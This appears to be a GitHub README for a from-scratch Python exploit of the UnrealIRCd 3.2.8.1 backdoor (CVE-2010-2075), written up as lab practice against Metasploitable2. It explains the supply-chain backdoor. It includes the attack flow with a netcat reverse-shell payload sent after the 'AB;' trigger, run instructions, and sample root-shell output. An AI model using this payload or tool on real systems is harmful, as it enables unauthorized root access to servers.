rushikesh-a-bhujbal/cve-2010-2075UnrealIRCd 3.2.8.1 backdoor exploit — reverse shell via AB; trigger, built from scratch in Python using raw sockets. No Metasploit.
UnrealIRCd is an open-source IRC (Internet Relay Chat) server — a protocol that allows users to communicate in real-time over a network, similar to early chat platforms.
In 2009–2010, it was discovered that UnrealIRCd 3.2.8.1 distributed via the official download mirrors had been compromised. An attacker had replaced the legitimate source code with a backdoored version containing a hidden command execution trigger.
This was a supply chain attack — identical in nature to CVE-2011-2523 (vsftpd 2.3.4). The legitimate software was replaced with a maliciously modified version before users downloaded it.
The backdoor monitors all incoming data on port 6667. If any input begins with
the string AB;, everything after it is passed —
bypassing all IRC logic, authentication, and registration checks entirely.
system()The trigger fires during the connection initialization phase, before the IRC server even registers the client. No NICK, no USER, no authentication required.
Attack flow:
Attacker (Kali) Target (Metasploitable2)
1. s1 connects to port 6667
NICK + USER handshake → Server sends full banner
Read banner, check version
Confirm Unreal3.2.8.1
2. Open listener on port 4444
(waiting for incoming shell)
3. s2 connects to port 6667 → AB; nc -e /bin/bash KALI_IP 4444
→ system() executes immediately
→ netcat spawns bash, connects back
4. listener.accept() ← Incoming root shell connection
Interactive root shell
This exploit uses a reverse shell — the target connects back to the attacker, rather than the attacker connecting to a port on the target.
| Type | Direction | Used In |
|---|---|---|
| Bind shell | Attacker → Target | CVE-2011-2523 (vsftpd) |
| Reverse shell | Target → Attacker | CVE-2010-2075 (UnrealIRCd) |
Reverse shells bypass inbound firewall rules — outbound connections from the target are rarely blocked.
netcat installed on the target (present by default on Metasploitable2)git clone https://github.com/rushikesh-a-bhujbal/CVE-2010-2075.git
cd exploit-dev/CVE-2010-2075
Edit main.py and set:
kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"
Run:
python3 main.py
Example output:
[+] Vulnerable version confirmed. Proceeding...
[*] Listening on port 4444...
[+] Shell received from ('192.168.15.132', 58280)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/etc/unreal
> exit
| Scenario | Behaviour |
|---|---|
| Port 6667 closed | Prints "Port Closed", exits cleanly |
| Wrong version | Prints "Not vulnerable", exits cleanly |
| Target doesn't call back | listener.accept() waits (add timeout if needed) |
| Command produces no output | recv() times out silently, returns to prompt |
| CVE-2011-2523 (vsftpd) | CVE-2010-2075 (UnrealIRCd) | |
|---|---|---|
| Protocol | FTP (port 21) | IRC (port 6667) |
| Trigger | :) in username | AB; prefix on any input |
| Shell type | Bind shell (port 6200) | Reverse shell (attacker's port) |
| Connections | 2 outgoing | 1 outgoing + 1 incoming |
This exploit is developed strictly for educational purposes and authorized security research only.
Built and tested exclusively against a local Metasploitable2 virtual machine in a fully isolated lab environment.
Do not use this against any system you do not own or have explicit written permission to test. Unauthorized use is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide.
The author accepts no responsibility for misuse of this code.
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub